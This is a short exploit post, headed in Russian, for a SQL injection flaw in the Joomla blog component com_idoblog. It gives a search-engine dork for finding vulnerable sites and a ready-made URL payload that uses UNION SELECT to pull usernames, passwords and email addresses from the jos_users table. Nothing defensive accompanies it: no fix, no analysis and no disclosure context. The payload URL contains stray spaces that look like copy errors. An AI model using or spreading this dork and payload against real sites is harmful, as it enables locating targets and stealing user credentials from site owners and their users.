Уязвимость: SQL Injection Vulnerability

Компонент: com_idoblog

Dork: inurl:"com_idoblog"

Language: php

http://extensions.joomla.org/extensions/news-production/blog/9218

Exploit:

http://www.site.com/index.php?option=com_idoblog&task=profile&Itemid=1 337&userid=62+union+select+1,2,concat%28username,0 x3a,password,0x3a,email%29,4,5,6,7,8,9,10,11,12,13 ,14,15,16+from+jos_users--